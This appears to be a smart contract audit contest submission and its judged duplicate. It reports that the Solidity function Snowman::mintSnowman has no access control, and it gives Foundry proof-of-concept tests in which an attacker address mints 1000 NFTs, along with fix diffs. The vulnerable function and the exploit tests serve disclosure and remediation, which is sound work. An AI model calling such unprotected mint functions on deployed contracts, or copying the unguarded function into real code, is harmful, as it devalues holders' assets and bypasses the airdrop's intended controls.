Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
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Submission Details
Severity: high
Valid

Snowman::mintSnowman` has no access control, allowing anyone to mint unlimited NFTs

H-1: Snowman::mintSnowman has no access control — anyone can mint unlimited NFTs

Root + Impact

Description

The Snowman::mintSnowman function at Snowman.sol line 36 is an external function with no access control modifier. Despite the contract inheriting Ownable, the mintSnowman function is not restricted to the owner or the airdrop contract. Any address can call this function to mint an arbitrary number of Snowman NFTs to any receiver address.

// Snowman.sol, line 36-44
function mintSnowman(address receiver, uint256 amount) external {
// @audit No access control -- anyone can call this
for (uint256 i = 0; i < amount; i++) {
_safeMint(receiver, s_TokenCounter);
emit SnowmanMinted(receiver, s_TokenCounter);
s_TokenCounter++;
}
}

Proof of Concept

function test_anyoneCanMintSnowman() public {
address attacker = makeAddr("attacker");
// Attacker directly calls mintSnowman without going through airdrop
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
// Attacker now has 1000 NFTs for free
assert(nft.balanceOf(attacker) == 1000);
}

Impact

This completely undermines the entire airdrop mechanism. The Merkle proof verification, EIP-712 signature validation, and Snow token burning in SnowmanAirdrop are all pointless since anyone can directly call mintSnowman on the NFT contract without going through the airdrop at all. An attacker can mint an unlimited number of NFTs for free, making all legitimate Snowman NFTs worthless.

Risk

Likelihood:

  • The function is external with zero restrictions — any EOA or contract can call it at any time after deployment, no special conditions needed.

  • Automated bots scanning for unprotected mint functions on newly deployed contracts will find and exploit this immediately.

Impact:

  • An attacker mints unlimited Snowman NFTs for free, completely devaluing all legitimately claimed NFTs.

  • The entire airdrop mechanism (Merkle proof verification, EIP-712 signatures, Snow token burning in SnowmanAirdrop) becomes pointless since it can be bypassed.

Proof of Concept

function test_anyoneCanMintSnowman() public {
address attacker = makeAddr("attacker");
// Attacker directly calls mintSnowman without going through airdrop
vm.prank(attacker);
nft.mintSnowman(attacker, 1000);
// Attacker now has 1000 NFTs for free
assert(nft.balanceOf(attacker) == 1000);
}
## Recommended Mitigation
Restrict `mintSnowman` so that only the airdrop contract can call it. The simplest approach is to add an `onlyOwner` modifier and then transfer ownership to the airdrop contract after deployment, or store the airdrop address and restrict access:
```diff
+ error SM__NotAllowed();
+ address private s_airdropContract;
+ constructor(string memory _SnowmanSvgUri, address _airdropContract)
+ ERC721("Snowman Airdrop", "SNOWMAN") Ownable(msg.sender) {
+ s_airdropContract = _airdropContract;
+ ...
+ }
- function mintSnowman(address receiver, uint256 amount) external {
+ function mintSnowman(address receiver, uint256 amount) external {
+ if (msg.sender != s_airdropContract) {
+ revert SM__NotAllowed();
+ }
for (uint256 i = 0; i < amount; i++) {
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 8 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-01] Unrestricted NFT Minting in Snowman.sol

# Root + Impact ## Description * The Snowman NFT contract is designed to mint NFTs through a controlled airdrop mechanism where only authorized entities should be able to create new tokens for eligible recipients. * The `mintSnowman()` function lacks any access control mechanisms, allowing any external address to call the function and mint unlimited NFTs to any recipient without authorization, completely bypassing the intended airdrop distribution model. ```Solidity // Root cause in the codebase function mintSnowman(address receiver, uint256 amount) external { @> // NO ACCESS CONTROL - Any address can call this function for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } @> // NO VALIDATION - No checks on amount or caller authorization } ``` ## Risk **Likelihood**: * The vulnerability will be exploited as soon as any malicious actor discovers the contract address, since the function is publicly accessible with no restrictions * Automated scanning tools and MEV bots continuously monitor new contract deployments for exploitable functions, making discovery inevitable **Impact**: * Complete destruction of tokenomics through unlimited supply inflation, rendering all legitimate NFTs worthless * Total compromise of the airdrop mechanism, allowing attackers to mint millions of tokens and undermine the project's credibility and economic model ## Proof of Concept ```Solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.24; import {Test, console2} from "forge-std/Test.sol"; import {Snowman} from "../src/Snowman.sol"; contract SnowmanExploitPoC is Test { Snowman public snowman; address public attacker = makeAddr("attacker"); string constant SVG_URI = "data:image/svg+xml;base64,PHN2Zy4uLi4+"; function setUp() public { snowman = new Snowman(SVG_URI); } function testExploit_UnrestrictedMinting() public { console2.log("=== UNRESTRICTED MINTING EXPLOIT ==="); console2.log("Initial token counter:", snowman.getTokenCounter()); console2.log("Attacker balance before:", snowman.balanceOf(attacker)); // EXPLOIT: Anyone can mint unlimited NFTs vm.prank(attacker); snowman.mintSnowman(attacker, 1000); // Mint 1K NFTs console2.log("Final token counter:", snowman.getTokenCounter()); console2.log("Attacker balance after:", snowman.balanceOf(attacker)); // Verify exploit success assertEq(snowman.balanceOf(attacker), 1000); assertEq(snowman.getTokenCounter(), 1000); console2.log(" EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization"); } } ``` <br /> PoC Results: ```Solidity forge test --match-test testExploit_UnrestrictedMinting -vv [⠑] Compiling... [⠢] Compiling 1 files with Solc 0.8.29 [⠰] Solc 0.8.29 finished in 1.45s Compiler run successful! Ran 1 test for test/SnowmanExploitPoC.t.sol:SnowmanExploitPoC [PASS] testExploit_UnrestrictedMinting() (gas: 26868041) Logs: === UNRESTRICTED MINTING EXPLOIT === Initial token counter: 0 Attacker balance before: 0 Final token counter: 1000 Attacker balance after: 1000 EXPLOIT SUCCESSFUL - Minted 1K NFTs without authorization Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.28ms (3.58ms CPU time) Ran 1 test suite in 10.15ms (4.28ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests) ``` ## Recommended Mitigation Adding the `onlyOwner` modifier restricts the `mintSnowman()` function to only be callable by the contract owner, preventing unauthorized addresses from minting NFTs. ```diff - function mintSnowman(address receiver, uint256 amount) external { + function mintSnowman(address receiver, uint256 amount) external onlyOwner { for (uint256 i = 0; i < amount; i++) { _safeMint(receiver, s_TokenCounter); emit SnowmanMinted(receiver, s_TokenCounter); s_TokenCounter++; } } ```

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